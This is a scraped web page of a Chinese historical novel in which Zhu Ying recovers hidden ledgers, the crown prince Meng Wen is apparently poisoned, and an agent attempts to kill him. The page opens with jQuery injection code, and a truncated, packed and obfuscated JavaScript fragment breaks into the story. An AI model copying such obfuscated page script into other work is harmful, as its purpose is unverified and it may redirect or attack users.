$(''.inform'').remove(); $(''#content'').append('' 一问瞿府君,他应是忘了说钥匙的事。” 角音直接摆手,叫她退开:“何须这么麻烦?我叫人把这石门凿开了便是。” 说着便要上手,拽得铁链哐当哐当响,动静实在太大。 孟闻拧起眉头,训斥角音:“同何人学的这般鲁莽?”遂同竺影道:“你且去问一问。” 竺影得以再度折返于牢狱中。 起初被太子打断,她还有太多的话来不及问出口,眼下他与角音不再跟过来了。 “瞿叔父。”竺影跟随狱卒下到牢狱里,又唤他一声,开门见山道,“我寻到了叔父说的地方,可是石门上落了锁。” 瞿太守这才开口,道:“钥匙,在你父亲那里。” 他果然还是留了一手,并未将一切筹码交付。 “我的父亲?”竺影迟疑了片刻,父亲却不曾与她交代过这些呀,难不成还得专程去一趟交州?于她而言,这可比回到北地要难得多。 瞿太守问道:“你的父亲他——他可还安好?” 起初他不敢问起,他怕故友已经离世,自己再一提起,便伤了竺影的心。 竺影平静道:“仍旧是在交州,我见不到,说不上好与不好。” “后来你入了宫,便再不得相见了么?”瞿太守又问,“祝家的那位郎君呢?这么多年来,他没有为你从中斡旋吗?若是此次回云琅的,是他便好了,我本该将那些旧物交付于他。” 不然何以耽搁到现在? 他连连反问,本意是关心她,竺影却不知如何作答。 她只能为其遮掩:“此番太子巡游北地,督责济民,正是祝从嘉争取来的呀,他从未忘记过故里。若非他患病多年,身子大不如从前了,经不起长途跋涉,不然他一定会回来的。” 瞿太守听罢,也只得叹气:“想你与他——” 竺影知道他接下来要说什么,便急忙打断了他:“叔父不必为我的事叹恼,待我出去以后,会再去向殿下求情。您已告知了他实情,他怎么就不能网开一面?若是、若是还有转圜之机呢?” 其实她也觉得希望渺茫,但还是要为之争取,求那一线生机。 瞿太守面上挂着苦笑,点头应下,又说:“阿影,叔父还有一事,只能求你相帮。” 竺影道:“有什么事我能帮到的,叔父直言无妨。” 瞿太守道:“念我幼时丧父,孤苦无依,幸得乡亲衣食恩养,才得以安然成人。后得竺太常提携,在郡府谋得一官半职,本还想来日荣归故地,衣锦还乡。不想我今朝误入歧途,潦草狱中!事已至此,我已不能归乡,唯独放不下乡中父老,只求你替我修书一封,告知了他们实情罢!” 眼下没有纸笔,竺影便说道:“叔父有何要传达的话,便请说来,我一一记着,来日去往山池县,我必亲口转达。” 瞿良便说了,诉尽了对乡民的感激,又添了些遗言一般的话。 竺影心情沉重地听完、应下。 离开州府大牢,孟闻问她:“可曾问出来了。” 竺影摇了摇头,神色复杂。 角音在孟闻身后,自以为很小声地谏言:“像是有所隐瞒啊,殿下定要审一审她。” 被孟闻一眼瞪了回去。 竺影没心思偷听这对主仆的对谈,一路上都在想父亲交代过的事情,大多在这些年来交州与京城往返的书信里,事无巨细。 剩下的,便是父亲临行前交代的两件大事,一是关于祝家,二便是云琅旧宅一事了。 她后知后觉,想起来父亲说的那件藏于旧宅的东西,就是打开瞿府暗室的钥匙? 兜兜转转,又回到她最初找寻的起点。 “殿下。”竺影突然停下脚步叫他。孟闻回过身来,她耐不住心中的激动,竟逾礼扯过他的衣袖,“我或许知道那间暗室的钥匙藏在何处了。” “在哪儿?”孟闻一瞥,不动声色地抽出袖角。 竺影不着急答,顾左右而言他:“只是在处置瞿太守一事上,当真不能留有余地吗?” 她知道法不容情,仍是抱有一丝希望。 孟闻冷冷嗤笑一声:“跟我谈条件吗?” 他一开口,就生生将她的希望浇灭了。 孟闻不为所动,转头吩咐角音:“我觉得直接拆门倒也不失为良策。” 竺影叹着气,还是妥协了。毕竟她才立过誓,不敢就此隐瞒。 “我知道钥匙在哪儿,就在如今的梁府里,我需要殿下帮我支开梁氏的人,只肖一刻便能拿到。” 孟闻盯着她,静静打量了一会儿,总觉得她定还瞒下了其他。他不多问,先答应了下来。 太子回了梁府,便下令召集随行官员与地方官,聚在前院商谈要事,因着与乌护有关,兹事体大,所以议事时将院中一干人等都屏退了。 如此,二三进院子之间便空了出来,无人出入。 确认周遭无人,竺影才拉着角音寻到那面流云石墙下。 梁家在竺府的旧址上扩建了,在三进的宅邸后面添了二进,变成了五进的府邸。 难怪她记不得家里的布局,原来是从一开始就找错了地方。 今又回到这里,想不到这面墙壁竟还保留了原样,未曾拆除。墙下栽种了珍稀草木,交相掩映,平日里倒不易让人察觉墙角下的蹊跷。 到了这时,竺影心中还是无法完全笃定,想不通怎会有人将重要的东西藏在这种地方,毕竟这处平日里人来人往。 可能那时父亲也走得仓促,竺影只记得他匆匆回过一趟云琅。 她鬼鬼祟祟蹲下,拨开草木在墙角一顿翻找时,角音一拍脑袋,作恍然大悟状:“原来你当初在后院里——” 竺影回首瞪他一眼:“少废话,来帮忙。” 角音拔出宝剑,一边骂骂咧咧,一边帮她干着挖墙脚的勾当…… 孟闻结束了议事,借故出门,未在梁府用晚膳。 竺影与角音已经找到了钥匙,在府外候着了。 “瞿府密室的钥匙,竟会放在梁府。”孟闻颇有些不可思议,忍不住问她,“你是如何知晓的?” 竺影指着身后梁府的匾额说道:“因为那里,曾经是我的家。” 35. 拟行路难(五) 现如今的梁府,竟是曾经的竺府啊。 孟闻收回了探究的目光,没再追问。 既已拿到钥匙,遂往瞿府去了。 锈蚀的锁链落下,角音推开石门,再次被积年累月的灰尘呛到了。 竺影秉烛上前,微弱的烛光照亮地下石室,映出靠墙的三座樟木书架,夹上一层层堆叠的,俱是文书与账簿。 “竟是如此之多?”角音瞪直了双眼,不由担心起来,“这么多要清点到何时啊?梁府里应当存放不下吧……” “未必全都用得上。”孟闻不疾不徐地从竺影手中拿过烛台,走近了查看。 除账簿以外,更多的云琅郡府留下的公务文书,上头多有前任太守竺安的钤印。 竟都是她父亲收集留下的物证啊,竺影一边看,一边想着。 因着与祝氏上一任家主,也就是祝从嘉的父亲交好,两人都对辑录有些心得,竺安便也保留着给文书编目整理的习惯。 在任十年,他便记了十年。 时至今日才有人回到这里,揭开尘封的书卷。 目下见这堆旧文旧账随意堆放,未按年限编排,连编目也不曾做。足以见得当时父亲整理得匆忙。 而且这里头会否有他们想要的证据,还尚未可知。 孟闻将烛台交予竺影,让她帮忙举着照明,又埋头在书架间翻找,随口问道:“竺太常既知晓这些账簿的存在,为何私藏至今?” 他的语气平平淡淡的,竺影不知他是否有怪责之意,怪责她父亲明知真相,却未能站出来为陆尚书正名,致使一众臣子蒙冤。 竺影试着解释:“当年之事,家父曾替陆尚书求过情的。” 孟闻盯着她:“然后呢?” 竺影道:“被流放了。” …… “好吧。”孟闻只余叹息。 仓促得没有任何转圜之机。 今人又该去怪谁呢? 去怪罪、去问责龙椅上的天子吗? 天底下没有几个人有这样的胆量。 竺影没再开口,只是试着将烛台举得近些,将孟闻眼前的书架照得再亮一些。 狭小的石室里灰尘弥漫,一举一动间,总有扬尘散开,散成烛光下的细小的白点。 透过微尘的间隙,竺影察觉他脸色不太好,但烛影摇晃着看不真切,她便以为是错觉。 角音在一旁提醒:“殿下,此处长期无人踏足,气息闭塞,不宜久留。还是将这些册子都搬出去,再作计议罢?” 竺影也觉得在这处待久了,吸入太多灰尘,胸口有些发闷,举着烛台的胳膊也酸。 两人都等着主君发话。 孟闻道:“只怕让梁氏的人察觉了,不惜一切代价也要毁了物证。且随行的臣僚当中,也有几个牵扯了当年旧案的。” 侍郎容桢就是其一。孟闻心有防备,并不选择相信他们。 竺影道:“便只能等快回京时,再把这些文书搬去了,带回宫里。” 孟闻沉思半晌,还是赞成了竺影的提议。仅从架上抽了几本册子,准备带回去,分别是宁朔七年与宁朔八年云琅郡志,以及两本物帐流水。 唉…… 竺影在心里苦叹一声,她今晚恐又要熬夜看账本了。 这一路她提灯照明引路,穿过来时的暗道。 角音走在最后,同太子又一次谏言:“此女知道了太多的事,只怕她出去了便要向外人吐露,殿下万不可留情,还是应当……” 他在暗道里大声密谋,不论是附在孟闻耳边的耳语,还是回声,竺影都听得真真切切。 她有些无语,回过头来看他一眼:“应当如何?狡兔死,走狗烹吗?” “咳咳……”角音尴尬地别过了脸。 孟闻严肃道:“慎言。” 孟闻离开之前,同梁叡打过招呼,梁府的人只当他是去盘问瞿良贿和一事了。 晚上回来时,他面色凝重,板着一张脸,似是心情十分不好。 毕竟贿和这事被揪出来了,并州允诺给乌护的好处再不能及时送上,他们要是闹上门来,边境早晚生变。 梁叡当太子还在为这事头疼,也不敢多问,生怕惹恼了他,仅是派人往他院里送了些茶点。 竺影夜里还要到主屋看帐,不等孟闻亲自叫她,她便自觉过来了。 见书案上的账簿、珠算、笔墨纸砚都为她备得齐齐整整了,她也从善如流入座,毫不扭捏。 孟闻捧着一本云琅郡志,坐得分外端直,与竺影隔了一个案头。 孟闻夜里没什么胃口,叫怀岫沏了茶水,只端起茶盏啜饮几口,却没动那几碟点心,一一推到了竺影面前。 竺影面上淡笑,心中一阵嘲讽:太子殿下人还挺好,想让马儿跑,竟还记得给马儿吃草。 这人还万般“良善”地叮嘱她:“白日里劳碌,大可以不必着急一晚上看完这些。” 竺影连连称是,太子殿下恐怕对她有什么误解,她可从未有此打算啊,更没打算同他焚膏继晷。 孟闻又饮了口茶,搁下杯盏本欲继续翻书,忽然低低咳了几声。 出于半吊子医者的警觉,竺影乍一转头,觉得他脸色差得出奇,虽然平日里也是这样黑着脸,但也不会像这般…… 她伸出手想探一探他额头的温度,被这家伙一个侧身躲开。 “做什么?”孟闻回避着她,敏锐盯住她停在半空的手。 好生尴尬…… 竺影收回手撑在案上,仍是盯着他的脸看。往昔见这面若冷玉,今夕在烛光下再观,却见这玉蒙上了灰尘,十分黯淡。 她本能地想为之掸开。 竺影道:“殿下是不是身子不舒服?已经劳碌了整日,今夜要不要早些休息?” 孟闻道:“我并无不适。” “真的吗?”竺影并非想躲懒,她只是有些担忧,“可是殿下的脸色看着很差。” “是么?”他自行探了探额头,毫无察觉。 “当真。”竺影万分笃定,“要不要让怀岫进来看看?” 今夜是怀岫在外守夜。 孟闻道:“不用了。她又不懂医。” 那他的言下之意是……竺影生怕曲解了他的意思。她总说自己医术不精,并非是自谦。 当下也只能凭着她学的那点皮毛,鼓起勇气道:“要不……我来给殿下探一探脉吧。” 这“医者”声音虚得很,心也虚得很。 “不必。”孟闻蹙眉看她一眼,想也不想便拒绝。 竺影劝道:“殿下可不要忌医啊。” 他淡淡反问:“你算哪门子的医?” “哦。”竺影深知她是被嫌弃了,悻悻退了回去,也并不恼火。仔细想来——似乎学医数载,她还真没治好过谁。 竺影复问:“殿下当真没有察觉不适吗?” “嗯。”他继而低头翻书,不再理会竺影,“不必理会我,安心看你的账便是了。” 唉。 竺影独自惋惜,这人竟不顾她的好心。 其实最初她挺盼着太子出事的,盼着他在人生地不熟的北地屡屡碰壁,盼着他建不成那观星楼,不仅于她、于齐王有利,还能顺带出了一口恶气。 然而眼下旧案刚有了一点点眉目,亟待细查下去,加之北边乌护虎视眈眈,并州士族各怀鬼胎,竺影打心底盼着他一点好,并不希望他在这个关头出事。 到底还是太矛盾,以至于她连账簿都看不下去,时不时偷瞟他一眼。 怎么脸色更加难看了呢? 他不曾抬头,冷声道:“若不想看,便回去。” 原来是生气了。 竺影方才老实端坐回去,不去看他了,认认真真翻看郡志与流水。 这么一查,竟真让她揪出一点端倪来。 宁朔七年云琅郡的财政倒是运作自如,怎么说都不至于到了后来无以为继的地步。 “殿下,您看——”竺影摊开郡志,正要指给孟闻看。 顿时听得“咚”的一声,他支着案缘的手支撑不住,于是乎整个都栽倒了下去。 “殿下、殿下——” 竺影慌了,膝行到他身侧去,接连叫了两声,他都不应。 看吧,就说你是病了。 正要喊怀岫进屋,好将殿下搀扶起来。只是竺影心中稍有犹豫,还是先伸出手去探一探他的体温,额上冰凉,指端也冰凉,浑似一块冷玉。 再撩开他的衣袖,露出苍白的腕骨。三指搭上脉搏,静心数着一息、两息、三息……越数下去,竺影的眉头皱得越紧。 怪异极了,一时半刻她真无法断定这是什么怪病,许是中毒了也说不定。 算了,这样棘手的病,还是请医官来看吧。 她出了门,叫怀岫前去找角音,又回去将地上散落的文书一一收起。 角音火急火燎赶来,进门先质问起竺影:“你又搞什么名堂?” 竺影一指伏在案上的孟闻,幽幽提醒他道:“先别管我了,看看你家殿下吧,他好像有一点死了哦。” 角音怒道:“住口!你对他做了什么?” 竺影撇了撇嘴,一会叫她住口,一会叫她答话,那她究竟是答还是不答? 她道:“此时质问我有什么用?还不快把殿下扶起来,告知了梁中正,叫他去找医官过来?” 角音放下刀剑,搀扶太子回到榻上,转头威胁竺影:“你在这里好生看着!”便踏出门去请医。 医官很快就请来了,入院为太子诊病。 院里睡下的人都惊醒了,后院陆陆续续燃起盏盏灯火。竺影和几个宫人守在屋外,听着院外脚步踱来踱去,是一众官员们候在外头,为此殚精竭虑。 太子这一病,几乎把整座府邸的人都惊动了。 医官只跟梁中正与容侍郎汇报了太子的病症,竺影猜测,大抵是太子殿下操劳过度,又染了疫病之类的话。 后半夜,梁府的仆从煎了药送来,交由院里的宫人,留给她们的叮嘱,便是好生侍奉殿下用药。 怀镜端药进了屋,从容地尝过汤药,然后才叫怀岫给殿下喂服。 比起年纪尚轻的翡儿,她二人总是淡定许多。 翡儿挨着竺影坐下,轻扯了下她的衣袖,惴惴问道:“竺姊姊,你近日与殿下出去,可曾发生了什么?殿下好端端的,怎么就病了?” 竺影道:“我也不清楚,殿下不曾在外用过什么饭食,应当是累着了吧。别担心,说不准殿下明日就醒了。” “可是——”翡儿又道,“方才进来的时候,那个侍卫阴着一张脸,鼓起眼睛瞪我,好吓人。” 她所说的侍卫,应当是角音了。 怀镜皱眉斥她道:“翡儿,别再出声打搅殿下了。” “哦。”翡儿低声应答,闭了口。 竺影也没再说话,轻轻拍了拍翡儿的手,安抚一下。 屋里安静极了,只闻勺子与瓷碗碰撞。屋外的脚步声未曾远去。 怀岫喂完了药,与怀镜一道守在主屋里,让竺影和翡儿先回去休息,四个人就这么轮着守夜。 竺影回屋,和衣躺下,心中还是隐隐察觉不安。 关于太子殿下到底生了什么病,院子里的人探听不到半点实情。她们只是寻常宫人,没有去问询那些官员的权柄。外头的手可以轻而易举伸到院子里来,她们的视线却越不过这道院墙。 为何偏偏是在这时?为何偏偏在瞿太守刚刚下狱之时?届时乌护人不肯罢休,云琅乃至并州又由谁来主持大局?竺影总觉得这个节点太过微妙了。 想到太子殿下这一病,她再难寻到借口出府,这可不大妙。 那就只得偷偷地溜出去,这般想着,竺影还真想起来一条出府的路——这里可是曾经的竺府。 孟闻翌日早晨醒来过一次,那时竺影不在。 他遣人去叫了容桢过来。用早膳时,也只留容侍郎一人在屋里说话,至于谈了什么,旁人一概不知。 容侍郎离开后,怀镜劝太子休息,他还要强撑着起来看公文。看了一会儿又撑不住,昏睡过去了。 怀镜叫医官过来诊脉,早晚各喂了一副药,仍不见转醒。 夜里,竺影和翡儿守在病榻之侧。 榻边点一盏昏灯,罗帐垂下,榻上的人如旧沉睡着,安安静静。 竺影偶尔掀了帐子瞧看,假装在为他掖被角,悄悄探一探脉搏。 许是病得难受,他身上冒了许多冷汗,细碎的鬓发沾湿贴在脸上,衣襟也汗湿了。 竺影叫翡儿去取来热汤,沾湿丝帕,绞干了为他擦拭薄汗。 刚消了的冷汗,过会又冒出来,她便坐在榻侧不厌其烦地擦拭。拭过了苍白如缟的面庞,又为他擦拭手臂。他的双手冰冷,竺影就用沾了热水的帕子,一遍又一遍地捂热。 他从前也曾这样照顾病患,如今做起这些,也还算得心应手。只有在对待病患时,她才会有这样的耐心。 再度擦过他额头时,看见他嘴唇翕动,在说些含糊的字句。 声音低低的,竺影俯下了身,侧耳去辨听,听见他梦里喃声唤着的,是母亲。 母亲…… 他在唤母亲。 这些秘密,不敢叫外人知道,不敢叫皇帝知道,却因在失去意识的梦魇里,无处遁形。 翡儿似也听见了,侧头过来问:“是殿下醒了吗?” “是殿下在梦呓。”竺影平静解释完,把帕子投进水盆里,同翡儿道,“水冷了,再去换一盆吧。” “好。”翡儿应声出去了。 竺影本来也要起身,却被不轻不重的力道扯了回去,低头一看,榻上垂下一只手,拽住了她的袖角。 再往帐中看去,一双沉静的眸子在烛光中凝睇着她,他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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禾玉道:“你拦不住我。” “可以试试。”竺影说着,便要伸手去抓匕首,禾玉见状,果然即刻收了刀。 竺影心下了然,微微笑道:“他叫你来护我,你却又擅作主张威胁我?” 禾玉浑然不惧,扬了扬下巴道:“又要告状么?也要等你回了京再说。” 竺影道:“你这时将账册拿走了,等太子醒来,我要如何去自辩清白?” 禾玉道:“届时我将你打晕了,太子房中失窃至多是守卫失职,算不上你的罪过。” 竺影道:“他会信么?” 禾玉道:“要看你的本事了。” 片刻讨价还价后,床帐里传来一点微弱的动静,一时间两人都噤了声,竖起耳朵去听。 竺影心跳得厉害,喉咙紧绷,犹如那柄匕首又架回她脖子上。 过后,却没再听到什么动静。 禾玉笑了起来,把玩着手里的匕首,看向竺影道:“看来是没死透,方才的话不会让他听去了吧?” 竺影又有种不祥的预感,下一刻,本该用以威胁她的匕首,转而刺向了床帐。 两人几乎同时冲了过去,一个为杀,一个为阻拦。 黑暗里传来裂帛之声,禾玉及时收了力道,刀锋只划裂了衣袖。 禾玉目光一冷,审视她道:“你做什么?” 竺影伸手拦在榻前,不让她再靠近一步,反问道:“我倒想问问你想做什么?” 禾玉道:“干脆让他死在这里,省得回京阻了殿下的路。至于罪责……人是死在梁府里的,岂不正好?” 刺杀太子? 竺影惊道:“你疯了吗?” 禾玉气急道:“我看你才是你疯了,莫非你还指望他醒来之后会放过你?” 竺影回眸看了一眼,只有垂下的床帐,看不见里面的人是什么神情。 是已经清醒了在装睡,还是仍昏睡着? 几番权衡利弊,竺影情愿是后者。她执意道:“他此时还不能死。” 旧案才刚有了一点眉目,谁知梁氏会有什么动作?竺影还不能让他死。 禾玉眼中露出一抹嘲弄的笑意,意味深长道:“你有胆量下毒,却没有胆量下死手么?” “什么?下毒?”竺影懵了,毒害当朝太子么?这么大一口锅,突如其来砸了下来,砸她个措手不及。 “原来不是你做的么?”禾玉笑意更深,觉得更有意思了。 “我没做过,你少污蔑我!”竺影矢口否认,又耐着性子跟她分析一番利弊,“他此时尚无根基,留着又能如何?须知殿下此时最大的阻碍,是梁氏。但使太子不在,梁氏占着北地,你能保证殿下从孟觉手里争得几分利?孰轻孰重,你自行掂量。” 储君帐前语朝堂是非,她胆子未免也太大了些,可眼下顾不得这么多。 禾玉杀人办事,向来不喜拖泥带水。 禾玉狐疑审视着她:“你该不会——对他有了偏私吧?” 竺影道:“我只是为了更长远的考量。乌护人进城了,瞿太守已下狱,届时云琅乃至并州将由谁来主持大局?你不会真希望并州落入梁氏手里吧?等殿下怪罪下来,即便你以死谢罪也于事无补。” 禾玉幽幽道:“这托词,也称得上冠冕堂皇。” 她眼中的竺影一直如此,动辄仁慈恻隐,分不清轻重缓急。换而言之,成事不足败事有余。 竺影勒令她道:“眼下,你该走了。再不走,我就叫侍卫进来。” 禾玉再不情愿,也只得暂时收了刀。 “我只情愿,你当真能够拎得清。” 脚步声在黑暗中退远了,又只剩阒然一片,连风声也没有,像从未有人来过一样。 火光划过,竺影重新点燃榻边的油灯,方才撑着僵硬的躯干,缓缓坐下。 她不敢背对床榻,生怕帐中伸出一双手来掐死她。 可是过了很久,翡儿还没有回来,帐中人也没有反应,竺影的心跳才慢慢平复。 禾玉来了,说明孟晓在盯着这里。那么孟晓应当是……盼着并州生乱的吧。这里生了乱,他才好去揪别人的错处。当初太子要来并州,众人不都是这么盼着的吗? 竺影战战兢兢摸回床榻侧,趁孟闻没醒,再一次为之切脉。 他手心生汗,竺影何尝不是吓出了一身的汗。 脉来得缓慢,比之昨日更虚弱了。起初竺影以为是寒症,可是禾玉说他中了毒,她因何如此笃定? 如果不是孟晓指派人做的,难不成是梁叡做的手脚,他想借此法拖住太子?太子衣食住行皆由梁府负责,梁叡要下毒倒是方便得很。 如果真是他做的,那他找来的医官也不可信。 36. 拟行路难(六) 第二日,轮着怀镜与怀岫侍疾,竺影才有闲暇出去一趟,又找到禾玉。 昨夜“帮手”自己找上门来,她理应礼尚往来。 禾玉扮作梁府的婢子混进来,竟没引起旁人怀疑。在府里来去自如,如入无人之境,远比竺影更随心所欲。 禾玉见了她,先问起:“昨夜他醒了吗?” 竺影道:“若是他醒着,我怎还能活着来见你?” 禾玉抱臂打量她,笑道:“我以为你来求我带你逃命。” 竺影开门见山道:“我的确有事找你,你昨夜说的,太子中了毒,究竟是怎么一回事?” 禾玉认为没有同她坦诚的必要,于是随口搪塞:“我哪里清楚?你只当我是捕风捉影罢了。” 竺影道:“捕风捉影?昨夜你就敢笃定是我下的毒么?” 禾玉道:“我若知道实情,便不会以为是你做的了。” 竺影慢慢分析道:“所以你只从前院的人口中探得知,太子是中了毒,却不知是何人下的毒。梁中正不敢认,怕是会与医官谎称,这是疾疫所致吧?并州多疾疫,太子巡查民间时,不慎染了疫病,倒也说得通。” “你打探这些做什么?” 禾玉听她说了这么多,只觉头疼。 竺影道:“我需要你帮我一个忙,如果可以的话,梁府的婢子每日给太子煎药,你去帮我捡一点药渣过来。” 禾玉板着个脸,毫不留情拒绝道:“办不到。” “哦。”竺影淡淡道,“那你叫我做的事,我也办不到。来了一趟并州却一无所获,我便说是你害的。” “鸣竹。”见她又摆出这副架子来,禾玉有些气恼,“你对殿下何时有过这般上心?” 竺影道:“你我说的是同一回事吗?既不肯帮我,那我就自己去了。” 她抬脚要走,被禾玉一把扯了回来。 禾玉攥紧拳头,骂道:“滚回你的院里好生待着,药渣我去给你弄来。” 竺影也顺着台阶下,淡笑道一声谢,便回院里等候。 稍晚些,梁府的人煎好了药送来,还有两个婢子端着食案跟随其后,给院里的宫人送来饭食。 禾玉与竺影使了个颜色,放下食案时,轻敲了两下汤盅。 竺影便端走了她的那份,说要回屋去用饭。 掩上门来,揭开汤盅的盖子一看,里面黑糊糊的,是禾玉捡来的药渣。 竺影拨开药渣细细分辨,白茯苓、甘草、犀角、人参…… 难怪他总不见好,这哪里是什么治病的药,分明只是一剂再寻常不过的安神汤。 梁府的人与医官串通好了,借机在拖延,可是太子殿下的病却拖不得。 竺影心知自己必须得做些什么,她不想让云琅生乱啊,她得让他活着。 怀镜正捧着药碗出门来,让梁府婢子收走了去,又一碗汤药见了底。 角音守在院门处,问她:“殿下醒了吗?” 怀镜摇头道:“没有。” 角音无奈叹了口气,提剑往院外去。一边走一边骂道:“什么狗屁庸医,我去叫他们再换个医者来。” 竺影听到屋外的声音,刚处理完那些药渣,连饭也顾不得吃,便推门跟了出去。 角音回头瞥她一眼,将不悦写在了脸上。他一句话也不说,迈开步子就要将人甩在后头。 她却像影子似的,一直疾行跟着。 角音不耐烦了,转过身来,将一肚子火气都朝她身上发泄:“你一直跟着我做什么?” 竺影遂开口道:“云琅城外三十里有座山,名为松山,有位神医在那隐居,殿下这病十分古怪,寻常医者治不好,或许只有那位神医可救。” 角音神色激动,追着她问道:“什么神医?告诉我他叫什么名字?松山在哪儿,我这就去将人请来!” 竺影却摇着头道:“你请不来的。神医不会跟你下山,更不会到士族府里,给贵胄看病。” 角音又恼了:“那你同我说这些废话做什么?” 竺影道:“我告诉你这些,是想让你带着殿下出城寻医。” 角音面色难绷,咬牙道:“让太子殿下去求医?你不觉得荒唐吗?” 竺影深知这犟种没那么好说动,思来想去,只得狠下心道:“失了面子事小,丢了性命事大。已经喂下去四剂汤药了,殿下未见一点好转,反而越来越虚弱,你就没有怀疑过……” 她环顾一圈,放低了声音道,“是梁府找来的医官出了问题么?殿下的病再这般拖下去,怕是不出两日,性命有虞。” 她把话说得这般重,角音更是气急,拇指摁住了剑柄,当下似真想拔剑斩了她。 可他到底没有,心中还是有所动摇了。 角音道:“谁信你的鬼话?殿下两日前还好端端的——” “我说了,两日。”竺影一再加码,语气笃定,“如不妥善医治,不出两日他必有性命之虞。你可以试试,等你再上别处去寻医,殿下的病是否耽搁得起。还是说,比起我,你更愿相信梁叡找来的庸医呢?” 角音道:“殿下要出府,容侍郎与梁叡如何能应允?” 若是梁朝的储君在外出了什么事情,他们担不起这个罪责,定然不会答应。 竺影道:“此事无需你担心,我让你做什么,你便做什么。” 她本来就没打算让这些人知道。 角音道:“凭什么?” 竺影道:“你若不听,我便撒手不管了。” “你你你——”角音被气得说不出话,直瞪着她,恶狠狠道,“你说了算!” 他终还是妥协,答应了竺影所提的条件。 两人回到客院时,已经是傍晚了。 怀镜见角音出去了半天,回来时身后只跟着竺影,便问他:“医官请来了吗?” 角音一撇嘴,满怀怨怼盯着竺影的背影,没有答话。 恰逢此时,梁府的人再度送了汤药过来。 怀镜接过了药,正要送去太子房中,竺影却抢着道:“让我来吧。” 怀镜便由着她去,不跟她抢这份活计。 竺影也不作什么解释,端药进了太子房中,径直走向里屋。 角音一步步跟着,盯住她的一举一动。 竺影道:“关门。” 角音照做了。 竺影卷起帘帐,任天光照进帐里,太子殿下苍白的病容尽收眼底。 角音本以为她是要侍奉汤药,怎料下一刻她端起药碗,反手倒进了榻下的痰盂里,猝不及防。 角音倒要看看,她到底在搞什么名堂。 只见她坐在床榻边,从袖中掏出个布包似的东西,一经展开,铺排出几十根银针。 角音过会又问:“你又是在做什么?” 竺影没好气道:“施针。” 说着,又挽起孟闻的袖子,露出一条白皙玉臂,经脉纵横,毫无血色。 她捻起一根毫针,瞅准穴位,利落地扎了下去。 这一扎,角音的脸色却煞白了,也不管她在做什么,急急忙忙背过身去。 竺影道:“你不亲自盯着吗?好教你亲眼看着,我并不是在谋害你的殿下。” 角音双膝一软,扶墙坐在台阶上,甫一转头,瞥见孟闻胳膊上密布的银针,便又赶忙收回视线,硬是不敢回头再看。 竺影似看到了什么不得了笑话,忍不住抿唇偷笑,原来世界有男儿不惧刀枪剑戟,却惧怕一根小小的银针。 她也不再去顾角音,转而继续对着孟闻施针,促他早些醒来。 孟闻昏迷不醒将近整日,随行的官员,院子里的宫人,除了守着,便是无知无觉地等候。 至于他何时会醒,连医官都给不出个确切的答复。 竺影一日也等不下去。 她怕奸人卖国,佞臣作恶,害怕再这样耗下去,云琅会再度陷入水深火热。 而今之计,便是去信任一个与她同路的人。暂时同路,也算是同路。 信他在瞿太守面前的许诺,会守住这片土地最后的繁华。 竺影全神贯注于此,不知道榻上的人已经醒了。 孟闻只睁开了眼,透过窗格的天光有些眩目,照得眼前一片恍惚。 他适应了很久,才框住一个轮廓不清的影,从中拼凑出一个清晰的人影。 仍然还是她。 孟闻睁着一双寂静的眸子凝注,一如昨日夜里,仅仅凝注着她,一句话也不说。 她埋头,执着于捻针转针,过会又挑了根针来,对着他手臂扎下去。 她额上挂满了汗珠,顾不上擦拭。他的胳膊扎满了针,酸胀得很。 有人一直看着,可她始终不曾发觉。 汗水顺着她面颊滑落,洇湿在衣襟。 他的手腕被人箍住,有点发痒了叫他难受。 “你在做什么?” 孟闻终于开口。 “殿……殿下。”竺影抬头,刚扎下去的银针又收起,手臂上留下一颗血珠。 她手忙脚乱地去擦拭,血擦净了,汗又欲滴。 孟闻要抬手。 “别,别动。”竺影摁住他欲抬起的手臂,温声道,“让我来。” 他只好躺回去,一动也不动,直到所有银针都取出。 这种感觉怪异,他躯干麻木,脑子却清醒。 竺影收好银针,衣袖落下,遮住密密匝匝的针眼。 她俯身来,眼中殷切:“殿下,能起来吗?我带你去寻医。” 孟闻只看她,不答她。 在他略带探究的目光里,竺影生了心虚。 本要搀扶的她,怯怯收回手,转去取了一件外衣奉上。 孟闻自行坐起来,拢发披衣。若要下榻,他尚没有恢复力气。 “殿下醒了?”角音扶墙站起来,腿还是软。 竺影问:“殿下,是否要与容侍郎交代些事情?” 孟闻言辞犀利,反问一句:“交代什么?我是要死了么?” 话音一出,竺影和角音皆一愣。 “不不不。”竺影着急辩解,“方才与殿下说了,要出府去寻医。” “出府?寻医?”孟闻皱眉,捂着眉心低低叹气。 竺影道:“殿下昏睡两日了,您的……病,不能再拖下去。” 角音前去扯了扯竺影,小声道:“你既懂医术,为何不给殿下医治,非得要让殿下冒险出府?” 竺影低声坦言:“我只会点皮毛,你敢让我治,我还怕给你家殿下治死了呢。” 角音再度被噎住。 孟闻坐直起来,看着当他面私语的二人,说道:“罢了,叫容桢来。” 角音连声应是,出去了。 竺影垂手立在一旁,对上孟闻投来的目光无动于衷。 只想着,昨晚禾玉闯进来,他到底有没有发觉?那些话被他听去了多少? 若他知道了,为何不发作?他若不知道,又为何一直盯着她? 半晌,她都没有动作。 孟闻轻咳一声,道:“更衣。” 竺影迟钝,才反应过来,她明显没有这般自觉。 没有提起旁的事,竺影暗暗松了口气,走向薰笼为他取衣,而后取水沃面,穿衣簪发,从善如流。 这病人也由着她折腾。 他衣冠齐整时,才多了些许生气,显得没那么羸弱。 容侍郎来到客院,见太子殿下终于苏醒,紧锁愁眉乍然舒展。 孟闻带着病,不剩什么精力,议事也没有持续多久,容侍郎便从主屋里出来了。 竺影进屋时,孟闻回头觑她一眼,再问起:“你方才说的什么?” “我带殿下去寻医。”竺影一提裙摆,对着他跪了下去。想着若他不应,便用强求的罢。 孟闻转身见她这架势,忙退了几步到榻边。他也不懂,他分明没有责难啊。 他心里气恼,胸口发闷,一张口就成了皮里阳秋的气话:“又跪我做什么?你等我死了,再跪不迟。” 只有他才把死挂在嘴边,这样不像话。 竺影解释道:“我……我怕殿下不答应。” “是么?”孟闻打量着她,“你是不是生出了什么心思?” 他说完几句话,又乏了力,撑着床榻艰难坐下。 